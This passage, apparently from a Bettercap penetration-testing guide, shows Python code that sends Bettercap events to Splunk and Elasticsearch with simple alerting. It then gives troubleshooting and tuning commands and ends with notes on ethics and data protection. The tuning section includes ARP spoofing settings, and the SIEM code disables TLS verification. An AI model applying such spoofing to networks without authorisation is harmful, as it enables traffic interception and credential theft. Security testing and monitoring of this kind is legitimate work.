        for event in events:
            splunk_event = {
                'time': event['timestamp'],
                'source': 'bettercap',
                'sourcetype': 'bettercap:event',
                'index': splunk_config.get('index', 'security'),
                'event': event
            }
            
            try:
                response = requests.post(
                    splunk_config['hec_url'],
                    headers={
                        'Authorization': f"Splunk {splunk_config['token']}",
                        'Content-Type': 'application/json'
                    },
                    json=splunk_event,
                    verify=False,
                    timeout=10
                )
                
                if response.status_code != 200:
                    self.logger.error(f"Failed to send to Splunk: {response.status_code}")
                    
            except Exception as e:
                self.logger.error(f"Error sending to Splunk: {e}")
    
    def send_to_elasticsearch(self, events):
        """Send events to Elasticsearch"""
        if not self.config.get('elasticsearch', {}).get('enabled', False):
            return
        
        es_config = self.config['elasticsearch']
        
        for event in events:
            index_name = f"bettercap-{datetime.now().strftime('%Y.%m.%d')}"
            
            try:
                response = requests.post(
                    f"{es_config['url']}/{index_name}/_doc",
                    json=event,
                    timeout=10
                )
                
                if response.status_code not in [200, 201]:
                    self.logger.error(f"Failed to send to Elasticsearch: {response.status_code}")
                    
            except Exception as e:
                self.logger.error(f"Error sending to Elasticsearch: {e}")
    
    def generate_alerts(self, events):
        """Generate alerts based on event patterns"""
        alerts = []
        
        # Group events by type and time
        event_groups = {}
        for event in events:
            key = f"{event['event_type']}_{event.get('src_ip', 'unknown')}"
            if key not in event_groups:
                event_groups[key] = []
            event_groups[key].append(event)
        
        # Check for suspicious patterns
        for group_key, group_events in event_groups.items():
            if len(group_events) > 10:  # High frequency
                alerts.append({
                    'alert_type': 'high_frequency_events',
                    'severity': 'high',
                    'description': f"High frequency of {group_events[0]['event_type']} events",
                    'event_count': len(group_events),
                    'time_window': '5 minutes',
                    'source_ip': group_events[0].get('src_ip'),
                    'timestamp': datetime.now().isoformat()
                })
        
        # Check for credential harvesting
        credential_events = [e for e in events if 'password' in str(e).lower()]
        if credential_events:
            alerts.append({
                'alert_type': 'credential_harvesting',
                'severity': 'critical',
                'description': 'Potential credential harvesting detected',
                'event_count': len(credential_events),
                'timestamp': datetime.now().isoformat()
            })
        
        return alerts
    
    def process_events(self, events_file):
        """Process Bettercap events and send to SIEM"""
        self.logger.info(f"Processing events from {events_file}")
        
        events = self.parse_bettercap_events(events_file)
        
        if not events:
            self.logger.info("No events to process")
            return
        
        self.logger.info(f"Processing {len(events)} events")
        
        # Send to configured SIEM systems
        self.send_to_splunk(events)
        self.send_to_elasticsearch(events)
        
        # Generate and send alerts
        alerts = self.generate_alerts(events)
        if alerts:
            self.logger.info(f"Generated {len(alerts)} alerts")
            for alert in alerts:
                self.send_alert(alert)
    
    def send_alert(self, alert):
        """Send alert notification"""
        self.logger.warning(f"ALERT: {alert['description']}")
        
        # Send email if configured
        if self.config.get('email', {}).get('enabled', False):
            self.send_email_alert(alert)
    
    def send_email_alert(self, alert):
        """Send email alert"""
        # Implementation depends on email configuration
        pass

# Configuration
config = {
    'splunk': {
        'enabled': True,
        'hec_url': 'https://splunk.company.com:8088/services/collector/event',
        'token': 'your-hec-token',
        'index': 'security'
    },
    'elasticsearch': {
        'enabled': True,
        'url': 'http://elasticsearch.company.com:9200'
    },
    'email': {
        'enabled': False,
        'smtp_server': 'smtp.company.com',
        'from': 'security@company.com',
        'to': 'soc@company.com'
    }
}

# Usage
if __name__ == "__main__":
    import sys
    
    if len(sys.argv) != 2:
        print("Usage: python3 bettercap_siem.py <events_file>")
        sys.exit(1)
    
    events_file = sys.argv[1]
    integration = BettercapSIEMIntegration(config)
    integration.process_events(events_file)

Troubleshooting

Common Issues

Permission Denied Errors:

bash
# Set proper capabilities
sudo setcap cap_net_raw,cap_net_admin=eip /usr/local/bin/bettercap

# Check capabilities
getcap /usr/local/bin/bettercap

# Run with sudo if capabilities don't work
sudo bettercap

# Check interface permissions
sudo chmod 666 /dev/net/tun

Interface Issues:

bash
# List available interfaces
ip link show

# Check interface status
ip addr show eth0

# Bring interface up
sudo ip link set eth0 up

# Check for monitor mode (WiFi)
sudo iwconfig wlan0 mode monitor
sudo ip link set wlan0 up

Module Loading Issues:

bash
# Check available modules
bettercap -help

# Update Bettercap
go install github.com/bettercap/bettercap@latest

# Check Go environment
go env GOPATH
go env GOROOT

# Verify installation
bettercap -version
bettercap -env-info

Performance Optimization

Optimizing Bettercap performance:

bash
# Increase system limits
echo "* soft nofile 65536" >> /etc/security/limits.conf
echo "* hard nofile 65536" >> /etc/security/limits.conf

# Optimize network buffers
echo 'net.core.rmem_max = 134217728' >> /etc/sysctl.conf
echo 'net.core.wmem_max = 134217728' >> /etc/sysctl.conf
echo 'net.core.netdev_max_backlog = 5000' >> /etc/sysctl.conf
sysctl -p

# Use performance caplet settings
> set net.probe.throttle 10
> set arp.spoof.interval 1s
> set ticker.period 5

Security Considerations

Ethical Usage

Legal Considerations:

  • Only use Bettercap on networks you own or have explicit permission to test
  • Understand local laws regarding network security testing
  • Obtain proper authorization before conducting penetration tests
  • Document all testing activities for compliance purposes
  • Respect privacy and confidentiality of captured data

Operational Security:

  • Use Bettercap in isolated test environments when possible
  • Implement proper access controls for captured data
  • Secure storage and transmission of sensitive information
  • Regular updates of Bettercap and dependencies
  • Monitor for detection by network security systems

Data Protection

Captured Data Security:

  • Encrypt captured traffic and credentials
  • Implement secure deletion of temporary files
  • Use secure channels for data transmission
  • Implement data retention policies
  • Regular security assessments of testing infrastructure

References

  1. Bettercap Official Website
  2. Bettercap GitHub Repository
  3. Bettercap Documentation
  4. Go Programming Language
  5. Network Security Testing Best Practices